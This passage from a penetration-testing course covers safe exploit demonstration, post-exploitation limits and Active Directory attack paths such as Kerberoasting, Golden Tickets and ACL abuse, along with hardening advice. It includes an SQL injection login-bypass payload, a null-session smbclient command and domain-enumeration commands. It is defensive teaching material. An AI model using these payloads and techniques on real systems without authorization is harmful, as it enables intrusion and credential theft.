File Upload Upload a harmless test file (test.txt), not a webshell. Upload success message, file accessible proof

Vulnerability Safe Demonstration What to Document
Privilege Escalation Show you can execute a command as higher user (id command) but don't install persistent access. Screenshot of id showing uid change
File Permission Issues Read a file you shouldn't access, but don't modify it. File listing, first few lines (if non-sensitive)
Service Exploits Trigger the vulnerability in a way that proves RCE (e.g., ping callback) without full compromise. Network capture of callback, service logs

Vulnerability Safe Demonstration What to Document
Weak Passwords Show password cracking on a hash you created, not actual user hashes. Time to crack, password complexity issues
Session Fixation Demonstrate that a provided session ID is accepted after login. Request/response showing session reuse
MFA Bypass Show you can access a protected page without completing MFA. Screenshot of page access without MFA
📸 Evidence Collection Best Practices
✅ Screenshots
  • Include URL/timestamp in view
  • Show commands used
  • Highlight key evidence
  • Annotate with explanations
✅ Logs & Output
  • Save terminal sessions (script command)
  • Capture network traffic (PCAP snippets)
  • Record error messages
  • Note timestamps
✅ Request/Response
  • Save raw HTTP requests
  • Document headers and parameters
  • Show server responses
  • Use tools like Burp Suite
📝 Sample Safe Demonstration: SQL Injection

Vulnerability: Login page vulnerable to SQL injection

Unsafe approach: Extract all usernames and passwords from database

Safe approach:

# Test for vulnerability with benign payload
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin' OR '1'='1' -- &password=anything

# Observe that login succeeds (proves injection)
# Document the bypass without accessing data
# Report: "SQL injection allows authentication bypass"

3.5 Post-Exploitation Awareness: Understanding the Domino Effect

Post-exploitation refers to what an attacker might do after successfully exploiting a system. Ethical testers use this phase only to understand risk and potential impact, not to perform harmful actions.

🎯 Ethical Goals of Post-Exploitation
  • 📊 Determine Impact Scope

    What systems, data, and functions can the compromised account access? This reveals the blast radius of an attack.

  • 🔍 Identify Sensitive Data Exposure

    Can the compromised user access confidential information, even if we don't view it? Document what's reachable.

  • 🔄 Understand Lateral Movement Paths

    What other systems can be reached from this foothold? This shows how an attacker could spread.

  • 🏢 Assess Business Impact

    How would this compromise affect operations, reputation, or compliance?

  • 🛡️ Test Detection Capabilities

    Were any of your activities logged or alerted? This helps improve monitoring.

🚫 Post-Exploitation Boundaries
  • No data exfiltration
  • No backdoors or persistence
  • No system configuration changes
  • No lateral movement without explicit scope
  • No credential dumping (without approval)
  • No privilege abuse beyond proof
📋 What Ethical Testers Document
  • Level of access gained
  • Internal network visibility
  • Reachable systems/services
  • Sensitive file locations (not contents)
  • Configuration weaknesses found
  • Security control gaps

🔍 The Post-Exploitation Checklist (Ethical)

👤 User Context
  • What user account was compromised?
  • What privileges does this user have?
  • What groups is the user a member of?
  • What applications run as this user?
🔗 Network Access
  • What other hosts are reachable?
  • What ports/services are visible?
  • Are there network shares mounted?
  • What DNS servers are used?
📁 File System Access
  • What sensitive directories are readable?
  • Are there configuration files with credentials?
  • What files have been recently accessed?
  • Are there backups or temp files?
⚙️ System Information
  • OS version and patch level
  • Installed software
  • Running processes and services
  • Scheduled tasks/cron jobs
📌 Real-World Example: The RDP Foothold

Scenario: A tester exploits a vulnerability in an RDP gateway and gains access as a low-privileged user.

Ethical Post-Exploitation:

  1. Run `whoami` and `net user` to document the compromised account.
  2. Check network connections with `netstat -an` to see what other systems are reachable.
  3. List running processes to identify security tools.
  4. Check for mounted drives or network shares.
  5. Document findings and stop — no lateral movement, no credential dumping.

Report includes: "Compromised user 'jsmith' can reach the finance subnet and has read access to the 'HR_Shared' folder. This could allow an attacker to access sensitive HR documents."

⚠️ The Risk of Over-Exploitation

Even with permission, testers must be careful not to cause unintended damage:

⚠️

Production Impact
Exploits may crash critical services

⚠️

Data Corruption
Some exploits modify database records

⚠️

Lockouts
Brute force may lock user accounts

⚠️

Detection Fatigue
Too many tests may overwhelm security teams


3.6 Exploitation Frameworks & Tools (Conceptual Overview)

Ethical testers use specialized frameworks to safely demonstrate vulnerabilities. This section introduces common tools and their appropriate use.

🛠️ Metasploit Framework

The most popular exploitation framework with thousands of tested modules.

Key Components:
  • Exploits: Code that triggers vulnerabilities
  • Payloads: Code that runs after exploitation
  • Encoders: Obfuscate payloads
  • Auxiliary: Scanning and validation modules
  • Post: Post-exploitation modules
Ethical Use: Use only with permission, in controlled environments, with safe payloads (e.g., generic/shell_bind_tcp).
🐉 Empire & Starkiller

Post-exploitation framework focused on PowerShell and Python agents.

Capabilities:
  • Agent-based C2 (Command & Control)
  • Modular post-exploitation
  • Stealthy communication
  • Cross-platform support
Ethical Use: Used in authorized red team exercises to test detection capabilities.
🔧 Custom Exploits

Sometimes frameworks don't have what you need. Testers may write custom proof-of-concept code.

Languages Used:
  • Python: Most common for PoC
  • Ruby: Metasploit integration
  • Bash/PowerShell: System exploitation
  • C/C++: Low-level exploits
Ethical Use: Custom exploits must be tested in isolated labs before any use.

⚠️ Framework Safety Features

Framework Safety Features Best Practice
Metasploit Check command, safe payload options, verbose output Always run 'check' first, use 'show options' to verify settings
Empire Listener restrictions, staging options, kill dates Set kill dates and restrict to test ranges
Custom Scripts Dry-run modes, validation checks, timeouts Add extensive error handling and timeouts

3.7 Exploitation Scenarios & Case Studies

Learn from realistic (but simplified) scenarios how exploitation works in practice — all within ethical boundaries.

📚 Case Study 1: The Outdated CMS
Scenario

Target: Company website running WordPress 4.7 (vulnerable to REST API privilege escalation)

Scanner finding: Version disclosure suggests vulnerability

Validation

Tester manually confirms version and checks if REST API endpoint is active

curl -I https://example.com/wp-json/wp/v2/users

Safe Demonstration

Tester proves they can list users without authentication (vulnerability exists)

Result: Documented, no user data extracted

📚 Case Study 2: The Misconfigured SMB Share
Scenario

Target: Windows file server with writable SMB share for "Everyone"

Scanner finding: Null session allowed, share listing possible

Validation

Tester connects with null credentials: `smbclient //target/share -N`

Confirms write access by creating an empty test file

Safe Demonstration

Creates file "test.txt" with content "Proof of write access"

Result: Demonstrates risk without deploying malware

📝 Key Takeaways from Case Studies
  • Always validate scanner findings manually
  • Prove vulnerability exists without causing harm
  • Document every step for reporting
  • Think about business impact, not just technical details

🎓

Module 03 Successfully Completed

You have mastered the concepts of ethical exploitation and safe demonstration techniques.

Module Complete
📋 What You've Learned
✓ Exploitation Definition
✓ Vulnerability Validation
✓ Exploit Categories
✓ Safe Demonstration
✓ Post-Exploitation
✓ Exploitation Frameworks
✓ Case Studies
✓ Ethical Boundaries

You have successfully completed this module of Penetration Testing Mastery Course.


👑 Module 04 – Domain Domination: Mastering Active Directory Security

Understanding how attackers compromise Windows Domains — and how ethical testers help organizations defend against complete network takeover

🎯

Module Learning Objectives

By the end of this module, you will understand Active Directory architecture, privilege escalation pathways, trust relationships, misconfigurations, and how to assess domain security risks — all within ethical boundaries. You'll learn to think like an attacker targeting AD while helping organizations build stronger defenses.

⚠️

Critical Ethical Warning

Domain Domination techniques are EXPLAINED for defensive understanding ONLY. Never attempt these techniques on systems without explicit written authorization. Active Directory compromise can lead to complete organizational control — use this knowledge to build defenses, not bypass them.


4.1 What is Domain Domination? Understanding the Ultimate Target

Domain Domination is the phase where an attacker attempts to gain full control over an organization's Active Directory (AD) environment. This represents the "crown jewels" of most enterprises — the ability to control all users, computers, and resources.

In ethical hacking terms, demonstrating how an attacker could achieve Domain Domination helps organizations understand their most critical risks and prioritize security investments. Ethical testers identify pathways to domain compromise without actually performing destructive actions.

🏢 Why Active Directory is the Prime Target

Active Directory is used by over 90% of Fortune 1000 companies. It's the central authentication and authorization system for Windows networks. Compromising AD means:

  • 🔴 Access to every user account
  • 🔴 Control over all domain-joined computers
  • 🔴 Ability to read encrypted files
  • 🔴 Access to email and communications
  • 🔴 Ability to deploy malware everywhere
  • 🔴 Long-term persistent access

90%

of Fortune 1000 companies use Active Directory


$3.9M

Average cost of a domain compromise incident

🎯 Why Domain Domination Happens: Root Causes

🔴 Technical Causes
  • Unpatched vulnerabilities (EternalBlue, Zerologon)
  • Weak password policies
  • Over-permissioned service accounts
  • Legacy protocols enabled (NTLMv1, LLMNR)
  • Missing security updates
  • No application whitelisting
🟡 Configuration Causes
  • Misconfigured Group Policy
  • Excessive admin rights
  • Lack of network segmentation
  • Trust relationships with weak domains
  • Default configurations unchanged
  • Disabled security features
🟢 Human Causes
  • Insider threats
  • Phishing susceptibility
  • Password reuse across accounts
  • Shadow IT creating unmanaged systems
  • Lack of security awareness
  • Overworked IT staff missing alerts

🔍 Detailed Example: The Path to Domain Domination

📋 Step-by-Step Scenario (Conceptual Only)
1
Initial Foothold

Attacker phishes an employee in HR. Employee clicks link, downloads malware. Now attacker has access to a single low-privileged workstation.

Entry point: HR-WORKSTATION-42
2
Enumeration

Attacker runs benign enumeration commands to understand the domain: `whoami`, `net user /domain`, `nltest /domain_trusts`.

Learns domain name, current user privileges, and trust relationships
3
Credential Harvesting

Finds cached credentials or mimikatz (conceptually) to extract a service account password. This account has local admin on 3 servers.

ServiceAccount_SQL has weak password: SQL@dmin2023
4
Lateral Movement

Uses service account to access SQL-01, then SQL-02, then jumps to a file server where Domain Admins recently logged in.

Pass-the-hash technique (conceptually) moves from server to server
5
Domain Admin Compromise

On the file server, attacker dumps memory (conceptually) and captures a Domain Admin's hash. Uses it to authenticate to Domain Controller.

Now has full control over the entire domain
⚠️ Ethical Testing Equivalent: A tester would document each of these steps as potential pathways without actually performing credential dumping or lateral movement. They'd report: "The service account 'SQLService' has administrative access to 3 servers where Domain Admins frequently log in, creating a risk of credential capture."
💡
Simple Analogy Revisited

Imagine you walk into a large office building (the network) after someone leaves a door open (initial access). If security inside is weak, you might move from room to room (lateral movement), discover employee badges left around (credential exposure), find an unlocked server room (misconfigured privileges), and reach the control room that manages everything (Domain Controller). An ethical tester's job is to find these weak pathways BEFORE attackers do.


4.2 Deep Dive into Active Directory Architecture: The Blueprint

Active Directory is a structured directory service that organizes users, computers, and resources. Understanding its internal structure is crucial for identifying privilege weaknesses and security gaps.

🏛️ Physical Components
Component Description Security Relevance
Domain Controller (DC) Server hosting AD database (NTDS.dit) 🔴 Compromise = full domain control
AD Database (NTDS.dit) Stores all objects, passwords, and policies 🔴 Contains password hashes for all users
SYSVOL Shared folder with GPOs and scripts 🟡 Often readable by all users, may contain passwords
Schema Master Controls AD schema modifications 🟡 Modifying schema can disable security
👥 Logical Components
Component Description Security Relevance
Domains Security boundary, collection of objects 🔴 Trusts between domains create risk
Organizational Units (OUs) Containers for organizing objects 🟡 GPO inheritance issues
Groups Security or distribution groups 🔴 Nested groups create privilege paths
Trust Relationships Connections between domains 🔴 Can extend compromise across orgs

📊 Detailed AD Object Types and Their Security Implications

Object Type Purpose Attributes Attack Potential Defensive Focus
User Human or service identity sAMAccountName, userPrincipalName, memberOf, userAccountControl High - Primary target for credential theft MFA, strong passwords, least privilege
Computer Workstation or server identity dNSHostName, operatingSystem, lastLogon Medium - Can be used for lateral movement Patch management, LAPS for local admin
Group Collection of objects member, groupType, groupScope High - Nested groups obscure privileges Regular group audit, remove nested admins
OU Container for delegation ou, managedBy, gPLink Medium - Delegation can be excessive Review delegated permissions
GPO Policy settings displayName, gPCFileSysPath, versionNumber High - Can deploy malicious settings Audit GPO changes, restrict GPO editing
Service Account Application identity servicePrincipalName (SPN), passwordLastSet Critical - Often overprivileged, passwords rarely change Managed Service Accounts (gMSA)

📌 AD Forest & Domain Structure Hierarchy

Forest: company.com (Root Domain)
│
├── Domain: company.com (Root)
│   ├── OU: Users
│   │   ├── User: Administrator (Domain Admin)
│   │   ├── User: jdoe (Standard User)
│   │   └── User: sql_svc (Service Account)
│   ├── OU: Computers
│   │   ├── Computer: DC01.company.com (Domain Controller)
│   │   ├── Computer: SQL-01.company.com (Member Server)
│   │   └── Computer: WS-100.company.com (Workstation)
│   ├── OU: Groups
│   │   ├── Group: Domain Admins
│   │   ├── Group: SQL Admins
│   │   └── Group: Help Desk
│   └── GPOs
│       ├── GPO: Default Domain Policy
│       └── GPO: Password Policy
│
├── Domain: europe.company.com (Child)
│   ├── OU: Users (europe)
│   ├── OU: Computers (europe)
│   └── Trust: Parent-Child (Two-way, transitive)
│
└── Domain: asia.company.com (Child)
    ├── OU: Users (asia)
    ├── OU: Computers (asia)
    └── Trust: Parent-Child (Two-way, transitive)
                                     
Security Note: In this structure, compromising the root domain (company.com) automatically gives access to all child domains due to transitive trusts. This is why protecting the root domain is absolutely critical.

🔑 Key AD Services and Protocols

📡 Kerberos

Default authentication protocol in modern AD

  • Uses tickets (TGT, ST) instead of passwords
  • Vulnerable to: Kerberoasting, Golden Ticket, Silver Ticket
  • Defense: Strong service account passwords, monitor for unusual tickets
🔒 NTLM

Legacy authentication, still supported

  • Challenge-response protocol
  • Vulnerable to: Pass-the-Hash, relay attacks
  • Defense: Disable where possible, use SMB signing
📋 LDAP

Directory access protocol

  • Used to query and modify AD
  • Vulnerable to: LDAP injection, anonymous queries
  • Defense: Disable anonymous LDAP, use LDAPS
📁 SMB

File sharing protocol

  • Used for SYSVOL, file shares
  • Vulnerable to: EternalBlue, SMB relay
  • Defense: Disable SMBv1, enable signing
🕒 Time Service

NTP for Kerberos synchronization

  • Kerberos requires time sync within 5 minutes
  • Vulnerable to: Time skew attacks
  • Defense: Secure NTP sources
📝 DNS

Name resolution integrated with AD

  • AD domains are also DNS zones
  • Vulnerable to: DNS spoofing, zone transfers
  • Defense: Secure dynamic updates
🛡️ Defensive Perspective: Understanding each AD component's purpose and potential vulnerabilities helps security teams prioritize hardening efforts. The goal is to make each component resilient against common attack techniques.

4.3 Privilege Escalation in AD: The Ladder to Domain Admin

Privilege escalation happens when a lower-privileged user obtains additional access unintentionally. Ethical testers evaluate where escalation is possible without performing it, identifying the "toxic combinations" that lead to domain compromise.

Core Concept: In AD, privilege escalation rarely happens in one jump. It's usually a series of small escalations—each one giving slightly more access—that eventually leads to Domain Admin.

🔼 The Privilege Escalation Pyramid

Domain Admin / Enterprise Admin
Administrative Workstation Access
Server Admin (SQL, File, Exchange)
Local Admin on Workstations
Service Account with Special Privileges
Standard User / Initial Foothold

Each level represents a potential escalation target. Attackers climb this pyramid through misconfigurations.

🔬 Detailed Escalation Techniques (Conceptual)

How it works:

Attackers find credentials stored in memory, on disk, or in scripts. These credentials often have higher privileges than the current user.

Common Sources:
  • LSASS Memory: Running processes store credentials for single sign-on
  • Registry: Some applications store passwords in registry
  • Configuration Files: Web.config, .env files with database passwords
  • Scripts: PowerShell scripts with hardcoded admin passwords
  • Group Policy Preferences: Older GPP stored encrypted passwords (cpassword)
  • WiFi Profiles: Stored wireless passwords
Ethical Testing Approach:

Testers check for world-readable files that might contain credentials, but do NOT extract actual passwords. They report: "The file C:\backup\backup.ps1 contains what appears to be a password parameter and is readable by all users."

Defense:
  • Use LAPS for local admin passwords
  • Implement Protected Users group
  • Enable Credential Guard
  • Never store passwords in scripts
  • Use Group Policy Managed Service Accounts (gMSA)

How it works:

Kerberos, the primary authentication protocol in AD, has several abuse techniques that allow privilege escalation.

Common Kerberos Attacks:
🎭 Kerberoasting

Concept: Any user can request a service ticket for any service account. The ticket is encrypted with the service account's password hash. Offline cracking can reveal the password.

Requirements: Service account with SPN set, any domain user account

Ethical Testing: Testers identify service accounts with weak passwords by analyzing password policies, not by cracking tickets.

👑 Golden Ticket

Concept: If an attacker gets the KRBTGT account hash, they can create TGTs for any user, including Domain Admin.

Requirements: KRBTGT hash (from Domain Controller compromise)

Ethical Testing: Testers recommend rotating KRBTGT password twice after any suspected breach.

🥈 Silver Ticket

Concept: Forge service tickets for specific services using service account hashes.

Requirements: Service account hash

Defense: Use strong random passwords for service accounts, monitor for anomalous ticket usage.

🔄 Pass-the-Ticket

Concept: Extract Kerberos tickets from one machine and use them on another.

Defense: Enable Kerberos armoring, use Protected Users group.

How it works:

Active Directory uses Access Control Lists (ACLs) to control permissions on objects. Misconfigured ACLs can allow users to modify privileged objects.

Dangerous Permissions:
Permission What it Allows Escalation Path
GenericAll Full control over object Reset user password, add to group, modify attributes
GenericWrite Modify object attributes Change servicePrincipalName for Kerberoasting, add to group
WriteDACL Modify object's permissions Grant yourself additional rights
WriteOwner Change object owner Take ownership, then modify
Self-Membership Add yourself to a group Direct privilege escalation
ForceChangePassword Reset user's password Direct account takeover
Example: The "AdminSDHolder" Container

AdminSDHolder is a special container that protects privileged accounts. If a non-admin has write access to AdminSDHolder, they can effectively become Domain Admin after the next protection cycle.

Ethical Testing: Testers audit ACLs on critical objects and report dangerous permissions without exploiting them.

How it works:

Groups can contain other groups (nesting). A user might be in Group A, which is in Group B, which is in Domain Admins. The user inherits Domain Admin privileges through the chain.

Example Nesting Chain:
User: John.Doe
  └── Member of: HelpDesk
                             └── Member of: Server Operators
                                   └── Member of: Domain Admins
                                             

John.Doe is a Domain Admin through group nesting, but no one remembers giving him those rights.

Dangerous Groups to Watch:
  • Domain Admins - Ultimate power
  • Enterprise Admins - Cross-forest power
  • Schema Admins - Can modify AD schema
  • Administrators - Local admin on DCs
  • Backup Operators - Can read NTDS.dit
  • Server Operators - Can logon interactively to DCs
  • Print Operators - Can load drivers on DCs
Defense: Regularly audit group memberships, especially nested groups. Implement a process for reviewing privileged group access.

How it works:

Once on a server, attackers escalate to local admin, then use that access to attack the domain.

Common Local Escalation Vectors:
  • Unquoted Service Paths: Services with spaces in path and no quotes can be hijacked
  • Weak Service Permissions: Users can modify service binaries or configuration
  • AlwaysInstallElevated: Any user can install MSI packages as SYSTEM
  • Scheduled Tasks: Modifiable tasks running as high privileges
  • Registry Misconfigurations: AutoRun entries writable by users
  • DLL Hijacking: Loading malicious DLLs into privileged processes
From Local Admin to Domain Admin:

Local admin on a server often means access to:

  • Cached credentials of other users
  • Service tickets from Kerberos
  • Ability to run tools that capture network credentials
  • Access to server-specific privileged groups

📋 Critical Privileged Groups Reference Table

Group Name Default Privileges Why Attackers Target It Protection Strategy
Domain Admins Full control over all domain objects Direct path to domain compromise Limit membership, monitor logons, require smart cards
Enterprise Admins Control over all domains in forest Can compromise entire organization Should be empty except in emergencies
Schema Admins Modify AD schema Can change how AD works, disable security Empty except during schema updates
Administrators (on DC) Local admin on domain controllers Can access NTDS.dit and other critical files Restrict, monitor interactive logons
Backup Operators Can bypass file security for backup Can copy NTDS.dit (all password hashes) Monitor for unusual file access patterns
Print Operators Manage printers, load drivers on DCs Can load malicious drivers on DCs Remove from all DCs
Server Operators Manage servers, can logon to DCs Interactive access to DCs Restrict, monitor all actions
Account Operators Create/manage user accounts Can modify privileged accounts, reset passwords Restrict, cannot modify privileged groups
🚨 The "Tier 0" Concept

Tier 0 assets are the most critical—Domain Controllers, AD admin workstations, and privileged accounts. Compromise of any Tier 0 asset is considered domain compromise. All other systems (Tier 1 servers, Tier 2 workstations) should never be able to affect Tier 0.

🔴 If a workstation (Tier 2) can communicate directly with a Domain Controller (Tier 0) without restrictions, that's a violation of the Tier 0 model and a major security gap.


4.4 Trust Relationships: Bridges Between Domains

A trust relationship allows authentication requests between domains. Misconfigured trusts can widen an attacker's movement from one compromised domain to another, potentially crossing organizational boundaries.

🌉 What is a Trust?

A trust is like a friendship between domains. If Domain A trusts Domain B, users from Domain B can access resources in Domain A (subject to permissions).

Domain A
← Trust →
Domain B

If an attacker compromises Domain B, they may be able to attack Domain A through the trust relationship.

🎯 Why Attackers Target Trusts
  • Expand reach: Move from compromised domain to trusted domains
  • Bypass controls: Trusts may have weaker security than primary domain
  • Data access: Access resources in multiple organizations
  • Persistence: Maintain access even if primary domain is cleaned
  • Supply chain attacks: Compromise vendor, attack customer through trust

🌐 Types of Trust Relationships

Trust Type Direction Transitivity Description Security Risk
Parent-Child Two-way Transitive Automatic trust between parent domain and child domain 🔴 High - Child compromise = parent compromise
Tree-Root Two-way Transitive Between root domain and tree domain in same forest 🔴 High - Cross-domain access within forest
Forest Trust One or Two-way Transitive Between separate forests 🟡 Medium - Depends on configuration
External Trust One or Two-way Non-transitive Between AD domain and another AD domain in different forest 🟡 Medium - Limited to specific domain
Realm Trust One or Two-way Transitive or Non-transitive Between AD domain and non-Windows Kerberos realm 🟢 Variable - Depends on realm security
Shortcut Trust One or Two-way Transitive Manually created to optimize authentication between domains 🟡 Medium - Can create unintended paths

🔬 Detailed Trust Attack Concepts

🔄 SID History Abuse

What is SID History? A feature that allows users from a previous domain to retain access after migration. SIDs from old domain are added to the user's token.

Attack Concept: If an attacker can modify SID History (requires high privileges), they can add SIDs of privileged groups (Domain Admins) to any user. When that user accesses a trusting domain, they have those privileges.

Example: Attacker in child domain adds Enterprise Admin SID to their user. When authenticating to parent domain, they have Enterprise Admin rights.

Defense: Filter SID History at trusts, monitor for SID modifications, use SID filtering/quarantine.

🔑 Kerberos Trust Attacks

Inter-Realm Kerberos: Trusts use special tickets (TGT) to allow cross-domain authentication. These tickets can be forged if the trust key is compromised.

Attack Concepts:

  • Trust Ticket Forging: If you compromise the trust key, you can forge tickets to the trusting domain
  • KRBTGT Hash Theft: Stealing KRBTGT from one domain allows forging tickets to any trusting domain
  • Extra-SID Attack: Similar to SID History but using Kerberos

Defense: Use strong trust keys, monitor for anomalous ticket usage, rotate trust passwords regularly.

🔓 Trust Discovery & Enumeration

Attackers first need to find trusts. Common enumeration commands (conceptual only):

# View domain trusts from Windows
nltest /domain_trusts

# Using PowerShell
Get-ADTrust -Filter *

# Using .NET
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GetAllTrustRelationships()
                                             

Ethical Testing: Testers enumerate trusts to understand the attack surface, but do not attempt to abuse them. They report: "The domain trusts 'partner.com', which is externally managed and may have weaker security controls."

🛡️ Trust Hardening Best Practices
  • Use selective authentication: Restrict which users can authenticate across trusts
  • Enable SID filtering: Prevent SID history abuse
  • Use forest trusts sparingly: Only when absolutely necessary
  • Monitor trust usage: Log and alert on cross-domain authentication
  • Regularly review trusts: Remove unused trusts
  • Use quarantine: Treat external domains as untrusted
  • Strong trust passwords: Use complex, rotated trust keys
📌 Real-World Trust Attack Scenario (Conceptual)

Setup: Company A acquires Company B. Company B's domain is trusted by Company A for resource access during migration.

Attack: Company B's domain is compromised by attackers. Through the trust, they attack Company A's domain.

Result: Both companies compromised despite Company A having strong security.

Defense Lesson: Treat all trusts with external/acquired domains as high-risk. Implement strict filtering and monitoring. Never fully trust external domains.


4.5 Identifying Weak Domain Policies & Misconfigurations

Weak policies and misconfigurations are one of the biggest reasons internal networks are compromised. Ethical testers locate these gaps and recommend fixes before attackers exploit them.

Key Principle: Attackers don't need zero-day exploits when default configurations and weak policies give them easy access.

📋 Comprehensive Policy Assessment Framework

Policy Weak Setting Strong Setting Risk of Weak Setting How Attackers Exploit
Minimum Password Length Less than 8 characters 12+ characters Brute force, dictionary attacks Crack passwords offline or online spray
Password Complexity No complexity required 3 of 4 character types Dictionary words, simple patterns Use common password lists
Password History 0-5 passwords remembered 24+ passwords remembered Password reuse Cycle through previous passwords
Maximum Password Age 90+ days or never 60 days or less Long-term credential exposure Use compromised credentials for months
Account Lockout Threshold Disabled or >10 attempts 5 attempts Password spraying attacks Try common passwords without lockout
Lockout Duration Permanent (requires admin) 15-30 minutes DoS potential Lock out accounts to cause disruption
Reset Account Lockout Counter Longer than lockout duration 15 minutes Extended lockout periods Lock out accounts for longer periods
Critical Finding Example: "Password policy allows 6-character passwords with no complexity and no lockout. This enables password spraying attacks where an attacker can try 'Password123' against thousands of accounts without triggering any alerts."

Policy Weak Setting Strong Setting Risk
Maximum Lifetime for Service Ticket 600+ minutes (10+ hours) 600 minutes (10 hours) - default Long-lived tickets can be stolen and reused
Maximum Lifetime for User Ticket 10+ hours 10 hours - default Stolen TGTs usable longer
Maximum Tolerance for Computer Clock Synchronization >5 minutes 5 minutes - default Larger window for replay attacks
Kerberos pre-authentication Disabled Enabled (default) Without pre-auth, attackers can request tickets offline for cracking (AS-REP Roasting)
AS-REP Roasting: If Kerberos pre-authentication is disabled for a user, attackers can request a ticket for that user and crack it offline. This is a common finding in AD assessments.

Setting Weak Configuration Secure Configuration Attack Vector
SMBv1 Enabled Disabled EternalBlue, WannaCry, other wormable exploits
SMB Signing Disabled Enabled (required) NTLM relay attacks, man-in-the-middle
LLMNR / NetBIOS-NS Enabled Disabled via GPO Name poisoning, credential harvesting
NTLMv1 Allowed Blocked (NTLMv2 only) NTLM relay, cracking (v1 is weak)
NTLM Session Security Not required Required (128-bit encryption) NTLM relay variations
Critical: LLMNR/NBT-NS Poisoning - When enabled, attackers on the local network can respond to name resolution requests and capture NTLM hashes. This is one of the most common internal penetration testing findings.

Common Dangerous Misconfigurations:
🏷️ AdminCount Attribute

Users who were once in privileged groups retain the adminCount=1 attribute even if removed. This marks them as protected by AdminSDHolder, but also identifies them as high-value targets.

Risk: Attackers enumerate adminCount=1 users and focus their attacks on them.

🔄 Unconstrained Delegation

Computers with unconstrained delegation can impersonate any user to any service. If compromised, attackers can impersonate Domain Admins.

Risk: Very high. Any computer with unconstrained delegation becomes a prime target.

🔀 Constrained Delegation

Less dangerous than unconstrained, but still risky. Allows impersonation to specific services.

Risk: Medium. Can be abused if the delegated services are high-value.

📝 Service Principal Names (SPNs)

Accounts with SPNs are Kerberoastable. Any domain user can request a ticket for them.

Risk: High if service accounts have weak passwords.

Without proper logging, attacks go undetected. Common logging gaps include:

Missing Audit What Attackers Can Do Undetected Recommended Setting
Account Logon Events Password spraying, brute force Success and Failure
Account Management Create new privileged accounts Success and Failure
Directory Service Access Read sensitive AD attributes Failure (for anonymous access)
Privilege Use Use of elevated privileges Success and Failure
Process Creation Run malicious tools (requires command line logging) Success with command line
Registry Changes Modify security settings Success
Defense: Enable comprehensive auditing and forward logs to a SIEM. Without logs, you can't detect a breach until it's too late.

🔍 Practical Assessment: What Ethical Testers Check

📋 Active Directory Security Assessment Checklist
🔐 Authentication & Authorization
  • ⬜ Password policy strength
  • ⬜ Account lockout configuration
  • ⬜ Kerberos pre-authentication disabled accounts
  • ⬜ Service accounts with SPNs (Kerberoastable)
  • ⬜ Accounts with unconstrained delegation
  • ⬜ AdminSDHolder permissions
  • ⬜ DCSync rights (Replicating Directory Changes)
👥 Privileged Access
  • ⬜ Domain Admins membership
  • ⬜ Nested group memberships
  • ⬜ Tier 0 asset identification
  • ⬜ Local admin passwords (LAPS usage)
  • ⬜ Service account privileges
🌐 Network Security
  • ⬜ LLMNR/NetBIOS enabled
  • ⬜ SMBv1 enabled
  • ⬜ SMB signing requirements
  • ⬜ NTLM settings
  • ⬜ Trust relationships
  • ⬜ DNS zone transfers
📝 GPO & Configuration
  • ⬜ Default Domain Policy review
  • ⬜ GPOs with insecure settings
  • ⬜ Writable GPOs for non-admins
  • ⬜ Startup/shutdown scripts
  • ⬜ Group Policy Preferences (cpassword)

🛡️ Recommended Hardening Measures

📌 Immediate Wins (Quick Fixes)
  • Disable LLMNR/NetBIOS via GPO
  • Enforce strong password policy (14+ characters)
  • Enable SMB signing
  • Remove users from privileged groups
  • Disable SMBv1
  • Enable account lockout
🛠️ Strategic Improvements
  • Implement LAPS for local admin passwords
  • Deploy Privileged Access Workstations (PAW)
  • Enable Advanced Audit Policy
  • Implement Tier 0/Tier 1/Tier 2 model
  • Use Managed Service Accounts (gMSA)
  • Enable Credential Guard
📊 Sample Finding from a Real Assessment

Finding Title: Weak Domain Password Policy Enables Brute Force Attacks

Description: The current domain password policy allows passwords as short as 6 characters with no complexity requirements. Account lockout is disabled.

Risk: An attacker can perform password spraying attacks using common passwords (e.g., Summer2024, Password123) against thousands of accounts without triggering lockouts. A 5-10% success rate is common in such environments.

Recommendation: Implement a password policy requiring minimum 12 characters, complexity, and enable account lockout after 5 failed attempts.


👑

Module 04: Domain Domination Successfully Completed

You have mastered the concepts of Active Directory security, privilege escalation pathways, and domain protection strategies.

Module Complete
📋 What You've Learned
✓ AD Architecture
✓ Privilege Escalation
✓ Trust Relationships
✓ Weak Policies
✓ Kerberos Attacks
✓ ACL Abuse
✓ Group Nesting
✓ Hardening

You have successfully completed this module of Penetration Testing Mastery Course.


🐉 Module 05 – Getting Comfortable with Kali Linux: Your Ethical Hacking Playground

Master the industry-standard platform for penetration testing — from first boot to confident navigation

🎯

Module Learning Objectives

By the end of this module, you'll understand Kali Linux architecture, navigate the file system confidently, manage packages, identify pre-installed tools, and set up a safe lab environment — all while learning the ethical responsibilities that come with powerful tools.

⚠️

Important Ethical Reminder

Kali Linux contains powerful security tools. With great power comes great responsibility. Only use these tools on systems you own or have explicit written permission to test. Unauthorized use is illegal and unethical.


5.1 What is Kali Linux? The Ethical Hacker's Operating System

Kali Linux is a Debian-based Linux distribution specifically crafted for digital forensics and penetration testing. It's the evolution of BackTrack Linux and is developed and maintained by Offensive Security.

Think of Kali as a specialized toolkit operating system — like a mechanic's garage filled with every tool needed to diagnose and repair vehicles. Kali comes pre-loaded with hundreds of security tools organized by category, saving security professionals countless hours of installation and configuration.

📜 A Brief History of Kali
  • 2006: BackTrack Linux emerges (merger of WHAX and Auditor)
  • 2013: Kali Linux 1.0 released, rebuilt from Debian
  • 2015: Kali Linux 2.0 with improved interface
  • 2019: Kali Linux 2019.4 introduces new default desktop (Xfce)
  • 2020+: Continuous rolling releases with latest tools

600+

Pre-installed security tools


10+

Years of development


Free

Open source and community-driven

🎯 Primary Use Cases for Kali Linux

🔍 Penetration Testing

Simulating real-world attacks to identify vulnerabilities in networks, applications, and systems.

  • Network scanning and enumeration
  • Vulnerability exploitation (authorized)
  • Post-exploitation analysis
  • Reporting and remediation
🔒 Digital Forensics

Investigating digital devices to uncover evidence of cybercrimes or security incidents.

  • Disk imaging and analysis
  • Memory forensics
  • File carving and recovery
  • Timeline reconstruction
🌐 Wireless Security

Assessing the security of wireless networks and devices.

  • Wi-Fi network analysis
  • Bluetooth assessment
  • RFID/NFC testing
  • Wireless intrusion detection
📱 Mobile Security

Testing mobile applications and devices for vulnerabilities.

  • Android app analysis
  • iOS security assessment
  • Mobile malware analysis
  • Device penetration testing
📊 Security Research

